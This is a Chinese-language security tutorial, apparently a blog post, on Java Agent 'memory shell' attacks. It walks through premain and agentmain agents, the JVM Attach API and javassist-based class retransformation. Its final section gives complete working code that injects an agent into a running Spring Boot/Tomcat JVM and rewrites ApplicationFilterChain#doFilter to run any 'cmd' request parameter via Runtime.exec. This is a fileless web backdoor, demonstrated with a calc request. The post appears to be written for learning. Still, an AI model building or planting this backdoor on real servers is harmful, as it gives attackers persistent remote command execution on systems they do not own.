0x00 前言
本文难度会大一些,而且在各种配置上有很多坑,不要放弃,慢慢来。
本文全程使用JDK8u65。
0x01 Java Agent概述
一个运行中的 Java 程序运行在一个 JVM(Java 虚拟机)实例中。
Java Agent可以在程序运行时动态地修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。
对于 Agent(代理)来讲,其大致可以分为两种,一种是在 JVM 启动前加载的premain-Agent,另一种是 JVM 启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图:
Premain-Agent

agentmain-Agent

0x02 几种Java Agent实例
环境配置
起一个默认的Maven环境。
在项目的/src/main/目录下创建resources目录,并往下创建META-INF目录,在该目录下创建MANIFEST.MF文件,目录结构如下图:(其它没见过的目录先不用管)

在pom.xml添加如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <version>2.6</version> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestFile> src/main/resources/META-INF/MANIFEST.MF </manifestFile> </archive> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>6</source> <target>6</target> </configuration> </plugin> </plugins> </build>
|
premain-Agent
坑点:
我个人新建Test1包,把下面用到的文件都基于Test1包,结果报错说URLClassLoader找不到这些类,所以我直接把下面的文件都放到/src/main/java目录也就是代码根目录下,成功。
从上面流程图可知,在运行一个类的main方法之前,会先调用指定jar包中Premain-Class类中的premain方法。
先创建一个premain-Agent类:
1 2 3 4 5 6 7 8 9
| import java.lang.instrument.Instrumentation;
public class Java_Agent_premain { public static void premain(String args, Instrumentation inst) { for (int i =0 ; i<10 ; i++){ System.out.println("premain-Sleep_Transformer"); } } }
|
由于该尝试的特殊性,我们在该目录下新建一个MANIFEST.MF,内容如下:
1 2 3
| Manifest-Version: 1.0 Premain-Class: Java_Agent_premain
|
先创建Java Agent的class文件,再打包成jar:
1 2 3 4
| javac Java_Agent_premain.java
jar cvfm agent.jar MANIFEST.MF Java_Agent_premain.class
|
然后我们就在当前目录下看到了agent.jar包。
我们再创建一个Hello类,表示一个正常运行的程序,或者说受害程序:
1 2 3 4 5
| public class Hello { public static void main(String[] args) { System.out.println("Hello World!"); } }
|
修改一下MANIFEST.MF:
1 2 3
| Manifest-Version: 1.0 Main-Class: Hello
|
接着生成class,创建jar:
1 2 3 4
| javac Hello.java
jar cvfm hello.jar MANIFEST.MF Hello.class
|
然后在当前目录下一共有这么多文件:

我们现在要在hello.jar执行之前执行agent.jar,执行命令如下:
1
| java -javaagent:agent.jar=Hello -jar hello.jar
|
结果如下图:

原理上,我们在Hello类main方法执行之前先执行了premain-Agent类的premain方法。
agentmain-Agent
相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。
跟agentmain-Agent有关的两个类:
- com.sun.tools.attach.VirtualMachine
- com.sun.tools.attach.VirtualMachineDescriptor
VirtualMachine类可以获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等。该类的主要方法如下:
1 2 3 4 5 6 7 8 9 10 11
| VirtualMachine.attach()
VirtualMachine.loadAgent()
VirtualMachine.list()
VirtualMachine.detach()
|
VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。
我们可以通过利用上面两个类,获得一个正常运行的JVM,并实现一些功能,比如获取JVM的PID:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package Test2;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class GetPID { public static void main(String[] args) { List<VirtualMachineDescriptor> vm = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : vm) { if (vmd.displayName().equals("Test2.GetPID")) { System.out.println(vmd.id()); } } } }
|

下面我们要开始进行攻击了。先创建一个Sleep_Hello类,模拟一个正常运行的程序:
1 2 3 4 5 6 7 8 9 10 11 12
| package Test2;
import static java.lang.Thread.sleep;
public class Sleep_Hello { public static void main(String[] args) throws InterruptedException { while (true){ System.out.println("Hello World!"); sleep(5000); } } }
|
然后创建一个Java_Agent_agentmain类,其作为一个Java Agent,将会被打包成jar并注入到JVM里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package Test2;
import java.lang.instrument.Instrumentation;
import static java.lang.Thread.sleep;
public class Java_Agent_agentmain { public static void agentmain(String args, Instrumentation inst) throws InterruptedException { while (true){ System.out.println("调用了Java Agent!"); sleep(3000); } } }
|
接下来是编译成class并1打包成jar,我选择修改/src/main/resources/META-INF/MANIFEST.MF文件(与学习premain-Agent所使用的MANIFEST.MF路径不同)。
1 2 3
| Manifest-Version: 1.0 Agent-Class: Test2.Java_Agent_agentmain
|
我们前面已经把pom.xml设置好了,直接运行命令:(在idea的终端就可以了)
1
| mvn clean compile assembly:single
|
然后会在target命令下生成对应的jar:

现在有了jar,但是不可能说直接上传jar就可以攻击程序,我们需要执行一段代码,让该Java Agent注入到目标JVM里,这里就再创建一个类实现这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package Test2;
import com.sun.tools.attach.*;
import java.io.IOException; import java.util.List;
public class Inject_Agent { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list){ if(vmd.displayName().equals("Test2.Sleep_Hello")){
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("Path\\to\\horses3-1.0-SNAPSHOT-jar-with-dependencies.jar"); virtualMachine.detach(); }
} } }
|
先运行Test2.Sleep_Hello,然后再运行Inject_Agent。Inject_Agent会找到Test2.Sleep_Hello对应的JVM,并把Java Agent的jar注入其中,然后Java Agent里的恶意代码就跟着执行了:

动态修改字节码 Instrumentation
说到修改字节码,首先想到的就是javassist,其具体的原理和使用方法请读者移步本文最后的Reference,本文不做讲解。给pom.xml加入依赖:
1 2 3 4 5
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27.0-GA</version> </dependency>
|
Instrumentation是JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。
该类是一个接口,很有必要了解其方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public interface Instrumentation { void addTransformer(ClassFileTransformer transformer, boolean canRetransform); void addTransformer(ClassFileTransformer transformer); boolean removeTransformer(ClassFileTransformer transformer); void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass(Class<?> theClass); @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); long getObjectSize(Object objectToSize); }
|
这里的类转换器是ClassFileTransformer接口,该接口下只有一个方法:transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在java agent内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与addTransformer搭配使用。
1 2
| void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
|
那么如何运用到攻击中呢?前文谈到的agentmain-Agent里可以执行任意代码,那么就这么写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package Test3;
import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;
public class Attack_jar { public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { Class[] classes = inst.getAllLoadedClasses(); for (Class aClass : classes) { if (aClass.getName().equals("Test3.Sleep")) { inst.addTransformer(new Sleep_Transformer(), true); inst.retransformClasses(aClass); } }
} }
|
Test3.Sleep类似Test2.Sleep_Hello类,模拟一个正常的程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package Test3;
import static java.lang.Thread.sleep;
public class Sleep { public static void main(String[] args) throws Exception { while(true){ hello(); sleep(3000); } }
public static void hello() { System.out.println("Hello"); } }
|
Sleep_Transformer类是一个实现了ClassFileTransformer接口的类,其利用javassist修改Test3.Sleep类的hello方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package Test3;
import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class Sleep_Transformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try {
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); }
CtClass ctClass = classPool.get("Test3.Sleep"); System.out.println(ctClass);
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
String body = "{System.out.println(\"Hacker!\");}"; ctMethod.setBody(body);
byte[] bytes = ctClass.toBytecode(); return bytes;
}catch (Exception e){ e.printStackTrace(); } return null; } }
|
然后在Attack_jar类也就是Java Agent会调用Instrumentation类的retransformClasses方法重新加载Test3.Sleep类,接着生成对应的jar包,并注入到Test3.Sleep对应的JVM中。写一个类实现该过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package Test3;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Attack_main { public static void main(String[] args) throws Exception{ List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if(vmd.displayName().equals("Test3.Sleep")){
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("Path\\to\\horses3-1.0-SNAPSHOT-jar-with-dependencies.jar"); virtualMachine.detach(); }
} } }
|
生成jar包的配置文件MANIFEST.MF需要再添加两行,告诉JVM这个Agent支持 类重定义和类再转换(retransform)的能力。不然报错如下:

修改后的MANIFEST.MF:
1 2 3 4 5
| Manifest-Version: 1.0 Agent-Class: Test3.Attack_jar Can-Redefine-Classes: true Can-Retransform-Classes: true
|
结果如下图:

0x03 Java Agent内存马实战
实战中,可以采用上传Java Agent的jar包,然后执行代码把jar注入到服务JVM里,实现内存马攻击。
就直接在当前项目新建一个Spring Boot模块,类型选择Maven,添加Spring Web依赖。
基于该模块,把pom.xml,MANIFEST.MF及所在目录结构,lib添加到模块库等操作都再进行一遍。
目录结构如下:

BaseController是一个常规服务:
1 2 3 4 5 6 7 8 9 10 11 12
| package com.agent_filter;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping;
@Controller public class BaseController { @GetMapping("/") public String index() { return "forward:/index.html"; } }
|
我们首先要搞清楚如何攻击。Java Agent需要注入到目标服务的JVM里,具体是通过ClassFileTransformer去修改一个组件的某个方法。
Spring Boot基于Tomcat,由于Tomcat的责任链机制,程序会反复调用 ApplicationFilterChain#doFilter方法。所以这里选择该方法:

先创建恶意的ClassFileTransformer实现类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package Attack;
import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class Filter_Transformer implements ClassFileTransformer {
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try{ ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter"); String body = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }"+ "}"; ctMethod.setBody(body); byte[] bytes = ctClass.toBytecode(); return bytes;
}catch (Exception e){ e.printStackTrace(); } return null; } }
|
然后创建Java Agent:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package Attack;
import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;
public class Attack_jar { public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { Class [] classes = inst.getAllLoadedClasses();
for(Class cls : classes){ if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
inst.addTransformer(new Filter_Transformer(),true); inst.retransformClasses(cls); } } } }
|
生成对应的jar:(终端是基于当前模块的)。然后报错:

有一个快捷的方法,往pom.xml添加:(放到第一个dependencies标签里)
1 2 3 4 5 6 7
| <dependency> <groupId>com.sun</groupId> <artifactId>tools</artifactId> <version>1.8.0</version> <scope>system</scope> <systemPath>D:/JDK/cc/java8u65/lib/tools.jar</systemPath> </dependency>
|
然后实现注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package Attack;
import com.sun.tools.attach.*;
import java.io.IOException; import java.util.List;
public class Attack_main { public static void main(String[] args) throws Exception { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if(vmd.displayName().contains("AgentFilterApplication")){
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("E:\\all_test\\test_java\\com\\MeHorses\\horses3\\Agent_Filter\\target\\Agent_Filter-0.0.1-SNAPSHOT-jar-with-dependencies.jar"); virtualMachine.detach(); }
} } }
|
首先启动Spring Boot服务:

再运行Attack_main类,然后访问localhost:8080?cmd=calc:

这就完成了Java Agent内存马攻击了。
0x04 冰蝎里的Java Agent内存马利用
等我研究一段时间······
0x05 Reference
Java Agent 内存马学习 | Drunkbaby’s Blog
Java安全学习——内存马 - 枫のBlog